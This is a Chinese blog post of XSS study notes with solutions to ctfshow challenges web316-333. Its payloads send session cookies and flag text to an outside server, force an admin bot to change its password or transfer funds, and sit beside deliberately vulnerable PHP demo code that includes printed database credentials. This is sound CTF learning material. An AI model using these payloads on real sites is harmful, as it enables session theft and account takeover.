【CTF-Web】XSS漏洞学习笔记(附ctfshow web316-333题目)

news2024/11/16 17:44:15

XSS 跨站脚本攻击

文章目录

  • XSS 跨站脚本攻击
    • What is XSS?
    • How to lead XSS?
    • Where is the XSS?
    • Cookie
    • How to use XSS?
      • 反射型XSS
      • 存储型XSS
      • Dom-Based XSS
    • Then Lets see the XSS in CTF
      • 各种过滤绕过学习
      • web316
      • Web317-319
      • Web319-321
      • Web322-326 (服力 这些题一个payload 浪费钱了555(
      • Web327
        • 考点:存储型xss
        • 解题:
      • Web328
        • 考点:存储型 Cookie
        • 解题:
      • Web329
        • 考点:存储型xss 提权
      • Web330-331
        • 考点:存储型xss 越权操作
        • 解题:
      • web332-333
        • 考点:xss 越权操作

What is XSS?

跨站脚本攻击(Cross site Scripting):将任意Javascript代码插入到其他web用户页面里执行达到攻击目的的漏洞

与其他漏洞的区别:其他漏洞是为了攻击网站的服务器和数据库,但是该漏洞是去攻击其他用户。

How to lead XSS?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS漏洞

自己语言的转义:我认为就是在该网站中,比如说存在留言功能,然后攻击者留言了一段恶意代码,这段留言是别的用户也可以访问到的,在其他用户查看这段留言的时候服务器进行解析,导致执行一些危险行为,这个整段过程就是跨站脚本攻击

Where is the XSS?

  1. 数据交互的地方

get post cookies headers

反馈与浏览

富文本编辑器

各类标签插入和定义

  1. 数据输出的地方

用户资料

关键词标签说明

文件上传

一般在ctf中会存在bot机器人 就是明确说明 给一个网址 机器人去访问

Cookie

为了辨别用户身份而存储在客户端上的数据

获取Cookie:

浏览器端(客户端):document.cookie

服务器端(php):$_COOKIE

How to use XSS?

  • 标签闭合逃逸

image-20230830185227975

在界面审查元素我们可以发现输出的结果在p标签内 所以当我们搜索时把p标签闭合 就可以在网页插入其他代码

攻击逻辑:请求带出

在script标签中执行:

window.open  #打开新窗口
window.location.href  #当前界面跳转
location.href

window.open('http://your_ip:port/?cookie=' + btoa(document.cookie))
#btoa实现base64编码
#开启服务器监听 然后将构造的exp给机器人进行访问 从而获得更高权限用户的cookie

反射型XSS

输入什么界面返回什么

我们成功在服务器上部署了一个存在xss漏洞的代码:

<?php
$input = $_GET['input'];

if(isset($input)){
    echo("<h1>".$input."<h1>");    
}
else{
    highlight_file(__FILE__);
}
?>

然后传参,其中参数中包含恶意代码:

http://154.8.183.198/attack/xsstest.php?input=<script>alert("111")</script>

image-20230919114645000

成功弹窗

存储型XSS

存储在服务器中的数据库里面

服务器搭建一波:(不得不提 有自己的服务器太爽了吧哈哈哈 好多东西都立马清楚了 知道怎么实现的了)

首先在服务器创建mysql数据库用来存储信息

库名:xss

表名:message

字段名: id username message varchar(255)

其中需要把id 设置为主键 并且自动增加不为空

当时这个在图形化界面中没有找到怎么设置 就单纯创建好主键后执行了sql语句

ALTER TABLE `message` CHANGE `id` `id` INT(11) NOT NULL AUTO_INCREMENT

image-20230919122424588

到此基本的数据库搭建完成

下面进行基础网页的搭建

<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "ka1mi2CL"; //数据库用户名
$pwd = "gY8mgYWxRAdN"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form  method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
    /*直接将留言插入到数据库中*/
    $username=$_POST['username'];
    $message=$_POST['message'];
    if($username and $message)
    {
        $sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
        if ($conn->query($sql) === TRUE) {
            echo "留言成功"."<br>";
        } else {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
    }else{
        echo "请填写完整信息"."<br>";
    }

    /*查询数据库中的留言信息*/
    $sql = "SELECT username, message FROM message";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
        }
    } else {
        echo "暂无留言";
    }
?>

image-20230919123115852

添加

Dom-Based XSS

最后再来搭建一下基于dom的xss漏洞 其中dom就是指document html中的语法

首先这个东西就是因为代码写的没有验证用户的输入导致

全部发生在客户端 感觉和反射型有些类似哈

具体成因仿照咱们搭建的服务器:

<meta charset="UTF-8">

<script>
    function xss(){
        var str = document.getElementById("src").value;
        document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
    }
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

在这个html文件中实现逻辑是:

用户在输入框中输入图片地址存储到str变量中 然后在xss()函数里面给id为demo的标签设置内容(innerHTML) 内容是加载图片,所以我们输入时放一个无法加载的图片,然后触发onerror事件,在这个事件里面可以触发弹窗,注意构造payload的时候一定要把img标签进行闭合

' onerror=alert("123")>

image-20230919125957569

Then Lets see the XSS in CTF

主要是各种绕过姿势的利用,用自己服务器进行请求带出

此外一般在ctf赛题中,可以让我们输入的连接后台都会有一个robot去点击访问

然后我们需要获取的flag一般藏在后台机器人的登录信息中

各种过滤绕过学习

web316

写的很清楚 反射性XSS嘛

直接开我们的服务器,在服务器写一个恶意文件用于获取题目网站后台机器人请求时留下的信息

image-20230919151844058

就是拿他登录时的cookie ,在这里有两种方法

一个是直接访问我们搭建在服务器的恶意文件,然后利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中

payload:<script>document.location.href='http://xxx:7777/'+document.cookie</script>

另一个是不需要在服务器写内容了 直接是在向服务器发出请求的时候带上cookie 然后在服务器开启nc监听 将获取的请求包拦截可以查看

payload:<script>document.location.href='http://xxxx.xxxx.xxxx.xxxx/XSS.php?1='+document.cookie</script>

BUT: 刚把服务器搭建起来 用的是window的系统 实在太菜了还没能在linux中灵活调用 后面一定学习linux的搭建

所以我们使用第二个方法展开攻击:

在服务器上的恶意文件为:

<?php
$content = $_GET[1];
if(isset($content)){
    //需要把我们获得的信息写入到我们的本地服务器
    file_put_contents('flag.txt',$content);
}else{
    echo 'no date input';
}

利用上的payload攻击

<script>document.location.href='http://154.8.183.198/attack/xss.php?1='+document.cookie</script>

image-20230919151408430

成功生成flag文件 获得flag

image-20230919152326881

可以看出 因为我们不是admin 所以我们访问时带的coolie作为参数是不符合的

但是我们上传的这个连接 后台身为管理员的机器人访问就会有admin的cookie信息啦

Web317-319

传入上题的payload 没反应 换一下标签

<body onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>

Web319-321

过滤了空格

利用: /**/ 或者 /

payload:<body/**/onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>

Web322-326 (服力 这些题一个payload 浪费钱了555(

这个是在url中进行匹配 对xss进行过滤 所以我们只需要在服务器中修改一下我们文件名即可 改成x1ss 随意啦~

payload:

<body/**/onload="window.open('http://154.8.183.198/attack/x1ss.php?1='+document.cookie)"></body>

Web327

考点:存储型xss
解题:

和前面316题目一样 两种方法 一个是写文件 实现自动写入一个文件中 如下

前面写过了 不重复

第二种 nc带出 目前已经配置好了 所以介绍一下这个流程

我们在服务器安全组 开放18080这个端口 实现可以访问 然后在信的内容传入这个内容

payload:<script>document.location.href='http:xxx:18080'+document.cookie</script>

在自己的服务器上面开启监听18080端口

nc -lvnp 18080

image-20240130005455173

成功监听到flag

Web328

考点:存储型 Cookie
解题:

image-20240131103418207

发现管理员会看到用户名和密码 所以推测这里可能存在xss漏洞

我们的目的是获得管理员的登录信息

所以注册一个用户名有问题的payload

<script>document.location.href='http:xxx:18080'+document.cookie</script>

监听:nv -lvnp 18080

上面没打通 用文件

<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>
<script>window.open('http:xxx:18080/'+document.cookie)</script>

上面的方法逻辑可能存在问题,这里就记录一下看着玩就好,下面是真正的解题步骤

image-20240607101916947

首先进入之后,明显发现需要提升权限,鉴权的方式是cookie

同时这个界面显示的是用户名和密码仅管理员可见 所以想到通过用户名注入xss语句 反弹管理员的cookie

从而实现伪造登录

<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>

其中111.php内容如下

<?php
$content = $_GET['a'];
echo(1);
if(isset($content)){
	file_put_contents('flag.txt',$content);
	echo('ok');
	echo($content);
}else{
    echo 'no date input';
}

其实查询语句中的参数1和a不一致没有任何影响,我们的目的是带出后面的document.cookie

这样之后 去我们服务器的log日志中查看结果 最好刷新 登录一下哈 可能稍微有点延迟

image-20240607102414691

在access_log中

image-20240607102457182

可以发现是题目的manager.php在不断请求,从而成功带出cookie

然后F12 改一下cookie中phpsessid的值刷新一下

注意这里会一闪而过flag 所以用bp记录一下

image-20240607102636567

Web329

考点:存储型xss 提权

开题和上个界面相同

同样先拿个admin的cookie

image-20240607103413182

但是发现提权失败 可能鉴权的方式不在cookie里面

那么我们既然能通过这种方式带出cookie 能不能直接带出flag呢

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://xxx/111.php?1='+value.innerHTML;}});</script>

解释一下这个payload:

image-20240607104058307

<script>
   $('.laytable-cell-1-0-1').each(function(index, value) {
       if (value.innerHTML.indexOf('ctf' + 'show{') > -1) {
           window.location.href = 'http://xxx/111.php?1=' + value.innerHTML;
       }
   });
</script>

$('.laytable-cell-1-0-1')

  • 通过jQuery选择所有具有类名laytable-cell-1-0-1的元素。
  • $('.className') 是 jQuery 的选择器语法,用于选择HTML页面中所有带有指定类名的元素。

.each(function(index, value) { ... })

  • 对于选择到的每一个元素,执行提供的回调函数。
  • index 是当前迭代的索引(从0开始)。
  • value 是当前迭代的DOM元素。

if (value.innerHTML.indexOf('ctf' + 'show{') > -1)

  • 检查当前元素的内部HTML (innerHTML) 是否包含字符串 'ctfshow{'
  • 由于字符串 'ctf' + 'show{' 会在运行时被连接成 'ctfshow{',这种方式通常用来避免简单的字符串匹配检测(如过滤器)。

window.location.href = 'http://xxx/111.php?1=' + value.innerHTML;

  • 如果条件成立(即innerHTML包含字符串 'ctfshow{'),则将浏览器重定向到 http://xxx/111.php,并在URL中附加查询参数 1,其值为当前元素的 innerHTML
  • 例如,如果 value.innerHTML'ctfshow{example}',浏览器将被重定向到 http://xxx/111.php?1=ctfshow{example}

同样在log日志中成功查到

image-20240607103717769

Web330-331

考点:存储型xss 越权操作
解题:

这两个题相比之前的题目多了一个功能点,修改密码

image-20240607105306382

所以利用逻辑就是通过admin用户自动执行我们传入的用户名的恶意代码,从而相当于在admin自己的界面调用修改密码的接口

在330中

image-20240607110353298

get传参 参数p

管理员本地靶场127.0.0.1

<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>

注册用户名修改后密码为123 直接登录即可 他会很快跳转 所以要在bp中找

在331中

我们自己尝试修改密码 抓到包 发现POST传参 参数是p

image-20240607105437601

从而写一个payload

<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

解释payload

$.ajax({ ... })

  • jQuery的$.ajax方法用于发起一个异步的HTTP请求(AJAX请求)。它可以发送GET、POST等类型的请求,并允许我们处理响应数据。
  • 该方法接收一个配置对象作为参数,其中包含各种设置和回调函数。

url: 'api/change.php'

  • 指定请求的目标URL,即api/change.php。这意味着请求会发送到当前网站的api目录下的change.php文件。

type: 'post'

  • 指定请求的类型为POST。除了POST,还可以是GET、PUT、DELETE等HTTP方法。

data: { p: 123 }

  • 指定发送到服务器的数据。这里是一个包含单个键值对的对象,键为p,值为123
  • 这意味着请求中会包含一个名为p的参数,其值为123

这样传入后 admin自动修改密码为123

直接登录就好

image-20240607105558734

web332-333

考点:xss 越权操作

image-20240607111423501

功能点明显变多了

需要指定钱数购买flag

那么钱从哪来了 必然是管理员 所以还是和修改密码类似 上面是让管理员修改自己的密码 这次是让管理员给我们赚钱

首先还是抓一下接口

image-20240607111736535

可以发现POST传参 两个参数

构造payload 注意这个url路径一定要写全尤其是api前面的斜杠

<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'hhh',a:10000}});</script>

还有一种逻辑

因为可以不断创建新用户 且每个用户用5元初始 所以可以写脚本不断执行这个过程

两题完全一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1800227.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[经验] 蝉联一词的含义是什么 #知识分享#职场发展

蝉联一词的含义是什么 蝉联这个词起源于古代中国&#xff0c;最初是指天子连续两年以上的年号相同。后来&#xff0c;这个词被用于形容某个人或某个团体连续多次获得某种荣誉或奖项的情况。在现代生活中&#xff0c;我们常常听到某个体育运动员蝉联冠军、某个企业蝉联业绩排行榜…

编写程序提示用户输入一个数目(例如:100)、年利率(例如:5)以及月份数(例如:6),然后显示给定月份后账户上的钱数。

(财务应用程序:复利值)假设你每月向银行账户存 100美元&#xff0c;年利率为5%&#xff0c;那么每 月利率是 0.05/12-0.00417。 第一个月之后&#xff0c;账户上的值就变成:100*(10.00417)100.417 第二个月之后&#xff0c;账户上的值就变成(100100.417)*(10.00417)-201.252 第…

MySQL(三) - 基础操作

一、索引 由于我们在使用数据库的时候&#xff0c;大部分操作的都是查询操作&#xff0c;但是我们每一次进行查询都需要遍历一遍表中所有数据&#xff0c;这会花费O(n)的时间&#xff0c;因此数据引入了“索引” 也就是在底层使用了数据结构来进行优化查询的操作&#xff0c;但…

Ubuntu流体程序编译

文章目录 前言一、换源1.1 &#xff08;任意&#xff09;终端窗口输入1.2 在终端窗口依次输入下面命令 二、编译mpap程序----安装各类库2.1 安装 Eigen 库安装Lapack、VTK、SuperLU可以按照师弟文件给出的教程 2.2 安装Lapack2.3 安装VTK2.4 安装SuperLU2.5 安装其他包2.6 安装…

45-5 护网溯源 - 远控木马样本溯源

在分析恶意样本时&#xff0c;需要查看包括作者名字、ID、IP地址、域名等在内的相关信息。 把恶意样本上传到微步、360沙箱云分析&#xff1a;样本报告-微步在线云沙箱 (threatbook.com) 动态分析 运行截图 发现该木马是与一个装机软件绑定的&#xff0c;你运行正常软件的时候…

No module named _sqlite3解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

21 - 即时食物配送 II(高频 SQL 50 题基础版)

21 - 即时食物配送 II -- sum(if(order_datecustomer_pref_delivery_date,1,0))/count(*)sum(order_datecustomer_pref_delivery_date)/count(*) -- count(*),表示数据的行数&#xff0c;如果有分组&#xff0c;为分组后数据的行数select round(100*sum(if(order_datecustomer_…

天诚公租房、人才公寓NB-IOT人脸物联网智能门锁解决方案

近期&#xff0c;全国已有超70城推出商品房“以旧换新”。各地商品房“以旧换新”主要采取国企收购、市场联动、税费补贴三种模式&#xff0c;二手房和新房市场交易活跃度均有提升。 一、人才公寓掀起建设浪潮 事实上&#xff0c;旧房被收购后将被纳入保障性租赁住房&#xf…

【悬架笔记三】1/4被动悬架垂向动力学仿真+频域特性分析

1/4被动悬架 代码&#xff1a; %书第156页、159页 clc clear close all %% 一.悬架参数 ms320; mw50; Ks22000; Cs1500; Kw195000; f00.07; %% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% 二.垂向振动动力学仿真 %% 二.1.状态方程 A [0 1 0 -1;.…

查询SQL03:大的国家

问题描述 如果一个国家满足下述两个条件之一&#xff0c;则认为该国是 大国 &#xff1a; 面积至少为 300 万平方公里&#xff08;即&#xff0c;3000000 km2&#xff09;&#xff0c;或者 人口至少为 2500 万&#xff08;即 25000000&#xff09; 编写解决方案找出 大国 的国…

ubuntu 挂载新SSD盘

挂载新 SSD 盘 1 识别新硬盘 使用 lsblk 命令来识别新插入的 SSD 磁盘 lsblk输出可能如下&#xff1a; 在这个例子中 nvme1n1 是新插入的 SSD 磁盘 2 分区 接下来&#xff0c;我们需要对新磁盘进行分区。这里可以使用 parted 或 fdisk 进行分区&#xff0c;现以 parted 为…

Go微服务: 关于TCC分布式事务

TCC 分布式事务 T: Try 预处理, 尝试执行&#xff0c;完成所有的业务检查&#xff0c;做好一致性&#xff0c;预留必要的业务资源&#xff0c;做好准隔离性C: Confirm 确认&#xff0c;如果所有的分支Try都成功了, 就到了这个阶段, Confirm 是真正执行业务的过程, 不做任何业务…

国产Sora免费体验-快手旗下可灵大模型发布

自从OpenAI公布了Sora后&#xff0c;震爆了全世界&#xff0c;但由于其技术的不成熟和应用的局限性&#xff0c;未能大规模推广&#xff0c;只有零零散散的几个公布出来的一些视频。昨日&#xff0c;快手成立13周年&#xff0c;可灵&#xff08;Kling&#xff09;大模型发布&am…

BGP汇总+认证

一、BGP 的宣告问题 1、在 BGP 协议中每台运行 BGP 的设备上&#xff0c;宣告本地直连路由 2、在 BGP 协议中运行 BGP 协议的设备来宣告.通过 IGP 学习到的&#xff0c;未运行 BGP 协议设备产2、生的路由&#xff1b; 在 BGP 协议中宣告本地路由表中路由条目时,将携带本地到达这…

Facebook企业户 | Facebook公共主页经营

Facebook作为社交媒体巨头&#xff0c;拥有庞大的用户基数&#xff0c;因此&#xff0c;有效经营公共主页是获取持续流量、提升客户信任度和粘性、促进产品或服务销售与转化的关键。要优化Facebook主页&#xff0c;关注以下几点&#xff1a; 1、参与度是关键指标&#xff1a;因…

LAMPSECURITY: CTF4 靶机实战

信息收集&#xff1a; 存活扫描&#xff1a; 端口扫描&#xff1a; 服务扫描&#xff1a; web页面&#xff1a; blog页面发现注入点&#xff1a; sql注入&#xff1a; sqlmap一把梭&#xff1a; 多个参数记得打&#xff1a; 哦 ssh登录&#xff1a; 老版本的ssh&#xff0c;…

Spring 之 Lifecycle 及 SmartLifecycle

最近在看Eureka源码&#xff0c;本想快速解决这场没有硝烟的战役&#xff0c;不曾想阻塞性问题一个接一个。为正确理解这个框架&#xff0c;我不得不耐着性子&#xff0c;慢慢梳理这些让人困惑的点。譬如本章要梳理的Lifecycle和SmartLifecycle。它们均为接口&#xff0c;其中后…

【Lua】IntelliJ IDEA 写注释或选中变量单词时偶尔会选中相邻的内容或下一行内容

例如: --UI代码local a 0 当你想在a变量上方加一行 --UI代码注释时&#xff0c;会发现敲打daima中文拼音时&#xff08;还未按回车&#xff09;就会选中当前行以及下一行前半部分。 打完按空格就会变成这样子&#xff01; 原因是因为开启了英文检测&#xff0c;需要关掉它。 …

云南区块链商户平台发票助手成品

目录 1 概述2 功能对比3 项目演示图4 核心逻辑4.1智能赋码4.2 解密方法4.3 登录与检测4.4 发票金额大写转换4.5 检查登录是否失效4.6 验证码识别5 演示效果6 项目部署6.1 Web站点部署6.1.1 环境6.1.2 前端6.1.3 后端6.2 Docker部署6.2.1 构建镜像6.2.2 创建容器6.3.3 访问项目域…

算法2:滑动窗口(下)

文章目录 水果成篮找到字符串中所有字母异位词串联所有单词的子串*最小覆盖子串* 水果成篮 两元素排空操作 窗口中存在元素交错情况&#xff0c;所以出窗口一定要出干净&#xff01;&#xff01;&#xff01; class Solution { public:int totalFruit(vector<int>& …